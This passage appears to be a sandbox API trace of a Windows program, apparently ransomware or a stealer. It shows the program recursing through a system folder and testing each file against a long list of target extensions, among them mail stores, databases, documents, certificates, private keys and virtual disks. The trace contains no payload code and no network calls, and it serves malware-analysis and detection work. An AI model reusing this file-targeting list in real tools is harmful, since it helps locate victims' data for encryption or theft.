(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.157] lstrlenA (lpString="*.mbox") returned 6 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.157] lstrlenA (lpString="*.eml") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.157] lstrlenA (lpString="*.pst") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.157] lstrlenA (lpString="*.ost") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.157] lstrlenA (lpString="*.idx") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.157] lstrlenA (lpString="*.dbx") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.157] lstrlenA (lpString="*.sql") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.157] lstrlenA (lpString="*.mdb") returned 5 [0103.157] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.157] lstrlenA (lpString="*.fdb") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.158] lstrlenA (lpString="*.wab") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.158] lstrlenA (lpString="*.dat") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.158] lstrlenA (lpString="*.txt") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.158] lstrlenA (lpString="*.jpeg") returned 6 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.158] lstrlenA (lpString="*.jpg") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.158] lstrlenA (lpString="*.png") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.158] lstrlenA (lpString="*.php") returned 5 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.158] lstrlenA (lpString="*.cs") returned 4 [0103.158] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.158] lstrlenA (lpString="*.cpp") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.159] lstrlenA (lpString="*.rar") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.159] lstrlenA (lpString="*.zip") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.159] lstrlenA (lpString="*.html") returned 6 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.159] lstrlenA (lpString="*.htm") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.159] lstrlenA (lpString="*.xlsx") returned 6 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.159] lstrlenA (lpString="*.xls") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.159] lstrlenA (lpString="*.mp4") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.159] lstrlenA (lpString="*.ppt") returned 5 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.159] lstrlenA (lpString="*.pptx") returned 6 [0103.159] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.160] lstrlenA (lpString="*.doc") returned 5 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.160] lstrlenA (lpString="*.dot") returned 5 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.160] lstrlenA (lpString="*.docx") returned 6 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.160] lstrlenA (lpString="*.7z") returned 4 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.160] lstrlenA (lpString="*.tar") returned 5 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.160] lstrlenA (lpString="*.bz2") returned 5 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.160] lstrlenA (lpString="*.gz") returned 4 [0103.160] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.160] lstrlenA (lpString="*.mkv") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.161] lstrlenA (lpString="*.eml") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.161] lstrlenA (lpString="*.msg") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.161] lstrlenA (lpString="*.edb") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.161] lstrlenA (lpString="*.accdb") returned 7 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.161] lstrlenA (lpString="*.odb") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.161] lstrlenA (lpString="*.java") returned 6 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.161] lstrlenA (lpString="*.asm") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.161] lstrlenA (lpString="*.pfx") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.161] lstrlenA (lpString="*.pem") returned 5 [0103.161] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.161] lstrlenA (lpString="*.p12") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.162] lstrlenA (lpString="*.gpg") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.162] lstrlenA (lpString="*.vsd") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.162] lstrlenA (lpString="*.odg") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.162] lstrlenA (lpString="*.raw") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.162] lstrlenA (lpString="*.nef") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.162] lstrlenA (lpString="*.svg") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.162] lstrlenA (lpString="*.psd") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.162] lstrlenA (lpString="*.vmx") returned 5 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.162] lstrlenA (lpString="*.vmdk") returned 6 [0103.162] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.162] lstrlenA (lpString="*.vdi") returned 5 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.163] lstrlenA (lpString="*.lay6") returned 6 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.163] lstrlenA (lpString="*.mpeg") returned 6 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.163] lstrlenA (lpString="*.djvu") returned 6 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.163] lstrlenA (lpString="*.tiff") returned 6 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.163] lstrlenA (lpString="*.backup") returned 8 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.163] lstrlenA (lpString="*.pdf") returned 5 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.163] lstrlenA (lpString="*.cert") returned 6 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.163] lstrlenA (lpString="*.docm") returned 6 [0103.163] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.164] lstrlenA (lpString="*.xlsm") returned 6 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.164] lstrlenA (lpString="*.dwg") returned 5 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.164] lstrlenA (lpString="*.nd") returned 4 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.164] lstrlenA (lpString="*.tlg") returned 5 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.164] lstrlenA (lpString="*.lgb") returned 5 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.164] lstrlenA (lpString="*.mov") returned 5 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.164] lstrlenA (lpString="*.xdw") returned 5 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.164] lstrlenA (lpString="*.ods") returned 5 [0103.164] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.164] lstrlenA (lpString="*.wav") returned 5 [0103.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.165] lstrlenA (lpString="*.mp3") returned 5 [0103.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.165] lstrlenA (lpString="*.aiff") returned 6 [0103.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.165] lstrlenA (lpString="*.flac") returned 6 [0103.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.165] lstrlenA (lpString="*.m4a") returned 5 [0103.165] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\99b47ff04b25e114b6dd8dc8e0ae9f5c\\Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.165] lstrlenA (lpString="*.csv") returned 5 [0103.165] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43a657c0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x43a657c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x444cf800, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.165] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.165] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28294410, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x28294410, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x28294410, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a18b0022a391eee36847383531694a8d", cAlternateFileName="A18B00~1")) returned 1 [0103.165] lstrcmpA (lpString1=".", lpString2="a18b0022a391eee36847383531694a8d") returned -1 [0103.166] lstrcmpA (lpString1="..", lpString2="a18b0022a391eee36847383531694a8d") returned -1 [0103.166] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.166] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="a18b0022a391eee36847383531694a8d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d" [0103.166] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d") returned 100 [0103.166] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28294410, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x28294410, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x28294410, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 